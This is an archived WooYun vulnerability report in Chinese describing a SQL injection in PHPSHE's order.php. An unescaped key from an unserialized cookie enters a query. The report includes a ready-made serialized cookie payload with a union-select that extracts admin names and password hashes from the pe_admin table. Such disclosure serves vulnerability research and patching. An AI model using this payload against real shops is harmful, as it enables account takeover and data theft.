当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059775

漏洞标题:PHPSHE某处SQL注入漏洞

相关厂商:phpshe.com

漏洞作者: xfkxfk

提交时间:2014-05-07 15:24

修复时间:2014-08-02 15:26

公开时间:2014-08-02 15:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-07: 细节已通知厂商并且等待厂商处理中
2014-05-12: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-07-06: 细节向核心白帽子及相关领域专家公开
2014-07-16: 细节向普通白帽子公开
2014-07-26: 细节向实习白帽子公开
2014-08-02: 细节向公众公开

简要描述:

~~~

详细说明:

文件order.php

//#####################@ 订单增加 @#####################//
case 'add':
$cart_info = cart_info(unserialize($_c_cart_list));
$info_list = $cart_info['list'];
$money = $cart_info['money'];


$cart_info = cart_info(unserialize($_c_cart_list));
这里的$_c_cart_list就是Cookie中的cart_list
反序列化后进入cart_info函数。
跟进cart_info函数

//购物车商品列表和价格
function cart_info($_c_cart_list=array()) {
global $db;
if (pe_login('user')) {
$sql = "select a.`product_num`, b.`product_id`, b.`product_name`, b.`product_logo`, b.`product_smoney`, b.`product_wlmoney`, b.`product_num` as `product_maxnum` from `".dbpre."cart` a, `".dbpre."product` b where a.`product_id` = b.`product_id` and a.`user_id` = '{$_SESSION['user_id']}'";
$info_list = $db->sql_selectall($sql);
}
else {
if (is_array($_c_cart_list)) {
foreach ($_c_cart_list as $k => $v) {
$product_rows = $db->pe_select('product', array('product_id'=>$k), '`product_name`, `product_logo`, `product_smoney`, `product_wlmoney`, `product_num` as `product_maxnum`');
$info_list[] = array_merge($v, $product_rows);
}
}
}
foreach ((array)$info_list as $v) {
$money['order_productmoney'] += $v['product_num'] * $v['product_smoney'];
$money['order_wlmoney'] += $v['product_wlmoney'];
}
$money['order_money'] = number_format($money['order_wlmoney'] + $money['order_productmoney'], 1, '.', '');
$money['order_productmoney'] = number_format($money['order_productmoney'], 1, '.', '');
$money['order_wlmoney'] = number_format($money['order_wlmoney'], 1, '.', '');
return array('list'=>(array)$info_list, 'money'=>$money);
}


在没有登陆的情况下$_c_cart_list as的$k进入了SQL语句:
$db->pe_select('product', array('product_id'=>$k), '`product_name`, `product_logo`, `product_smoney`, `product_wlmoney`, `product_num` as `product_maxnum`');
我们跟进pe_select函数

public function pe_select($table, $where = '', $field = '*')
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
}
......
protected function _dowhere($where)
{
if (is_array($where)) {
foreach ($where as $k => $v) {
if (is_array($v)) {
$where_arr[] = "`{$k}` in('".implode("','", $v)."')";
}
else {
in_array($k, array('order by', 'group by')) ? ($sqlby = " {$k} {$v}") : ($where_arr[] = "`{$k}` = '{$v}'");
}
}
$sqlwhere = is_array($where_arr) ? 'where '.implode($where_arr, ' and ').$sqlby : $sqlby;
}
else {
$where && $sqlwhere = (stripos(trim($where), 'order by') === 0 or stripos(trim($where), 'group by') === 0) ? "{$where}" : "where 1 {$where}";
}
return $sqlwhere;
}


最后array('product_id'=>$k)中的$k进入了SQL语句,最为`{$k}` = '{$v}'中的'{$v}'。
我们来整理思路:
1、从Cookie中取出cart_list的值,即为$_c_cart_list的值
2、将$_c_cart_list的内容反序列化后进入cart_info函数
3、在cart_info函数中$_c_cart_list的key进入了SQL语句
4、$_c_cart_list的key在执行SQL语句时作为value执行
在整个过程中都没有对最终进入SQL的value进行过滤,导致我们修改Cookie中cart_list的值,最后进入SQL语句,导致注入。

漏洞证明:

第一步添加一个物品到购物车:
http://localhost/phpshe/index.php?mod=order&act=cartadd&product_id=1&product_num=1
然后访问购物车:
http://localhost/phpshe/index.php?mod=order&act=add
此时购物车已经有一个物品了
第二步我们来修改Cookie中的cart_list的内容:
此时购物车已经有一个物品,这是Cookie中的cart_list的值为:

a:1:{i:1;a:3:{s:10:"cart_atime";i:1399441807;s:10:"product_id";i:1;s:11:"product_num";i:1;}}


反序列化后的值为:

Array ( [1] => Array ( [cart_atime] => 1399441807 [product_id] => 1 [product_num] => 1 ) )


反序列化后这里的key为1.
我们将反序列化后的cart_list的key修改为-1'union select concat(admin_name, 0x23, admin_pw),2,3,4,5 from pe_admin#,修改后的cart_list值为:

Array ( [-1'union select concat(admin_name, 0x23, admin_pw),2,3,4,5 from pe_admin#] => Array ( [cart_atime] => 1399441807 [product_id] => 1 [product_num] => 1 ) )


然后再将修改后的cart_list的值序列化,序列化后cart_list的值为:

a:1:{s:73:"-1'union select concat(admin_name, 0x23, admin_pw),2,3,4,5 from pe_admin#";a:3:{s:10:"cart_atime";i:1399441807;s:10:"product_id";i:1;s:11:"product_num";i:1;}}


最后将上面的值带入Cookie中:

1.png


访问http://localhost/phpshe/index.php?mod=order&act=add页面即可:

2.png

修复方案:

过滤,转义

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-08-02 15:26

厂商回复:

最新状态:

2014-05-19:感谢@xfkxfk 提供代码审计,sql注入漏洞已修复!